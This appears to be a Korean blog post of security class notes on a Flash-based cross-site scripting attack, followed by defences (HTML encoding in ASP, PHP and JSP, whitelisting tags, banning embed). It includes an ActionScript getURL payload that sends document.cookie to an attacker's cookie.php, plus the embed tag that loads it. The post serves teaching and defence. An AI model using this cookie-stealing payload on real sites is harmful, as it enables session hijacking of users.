336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

Macromedia flash8 설치


professional 



이미지에 

getURL("javascript:document.location='http://192.168.0.140/cookie.php?data='+document.cookie");



.fla -> swf로 컴파일 




----------



<embed src="http://192.168.0.140[공격자IP]/test.swf" AllowScriptAccess="always"></embed>


<embed> : mp3, sef 등의 확장자를 가진 파일을 인터넷에 재생기켜주는 태그

->  src 속성이 있어야 재생 가능


웹 페이지의 플래시 컨텐츠는 HTML code로부터 플래시 플레이어에 대한 스크립트

수락 또는 거부를 하기 위해 AllowscriptAccess 속성을 쓴다


AllowScripAccess="always" - 수락

AllowScripAccess="never" - 거부


플래시에서 사용하는 actionscript 함수인 geturl: 

응용프로그램에서 변수를 로드시키거나 

문서를 임의의 윈도우 브라우저로 로드시킴




-----------


방어



화이트리스트 방식

: 안전이 증명된 것만 허용하겠다라는 의미

-> 악의성이 없고, 검증된 것들만 허용 

(관리자가 허용한 것들)




1. HTML 지원 하지 않음


   ASP - server.htmlencode(content)

    

   PHP - htmlentites()

   JSP - content = content.replaceAll("<","&lt;");

         content = content.replaceAll(">","&gt;");



-> contents = server.htmlencode(contents)

-> 글쓰기 소스와, 수정 소스 둘다 인코딩 적용해주어야 함 



2. HTML을 화이트 리스트 방식 허용

 

   



   ASP - content = replace(content,"&lt;p&gt;","<p>")

         content = replace(content,"&lt;P&gt;","<P>")

         content = replace(content,"&lt;br&gt;","<br>")

content = replace(content,"&lt;BR&gt;","<BR>")




   PHP - $content = str_replace("&lt;p&gt;","<p>",$content);

$content = str_replace("&lt;P&gt;","<P>",$content);

$content = str_replace("&lt;br&gt;","<br>",$content);

$content = str_replace("&lt;BR&gt;","<BR>",$content);

        



   JSP - content = content.replaceAll("&lt;p&gt;","<p>");

         content = content.replaceAll("&lt;P&gt;","<P>");

content = content.replaceAll("&lt;br&gt;","<br>");

         content = content.replaceAll("&lt;BR&gt;","<BR>");



-> 우회 가능 




5. 어떻게 보안 할 수 있나?

embed 태그 적용 금지 

html encoding 적용 (화이트 리스트 방식)

팝업 차단 







'REPORTS' 카테고리의 다른 글

airtight  (0) 2014.11.03
quizes  (0) 2014.11.03
project  (0) 2014.10.30
report to analyze DM  (0) 2014.10.20
dll  (0) 2014.10.17
Posted by af334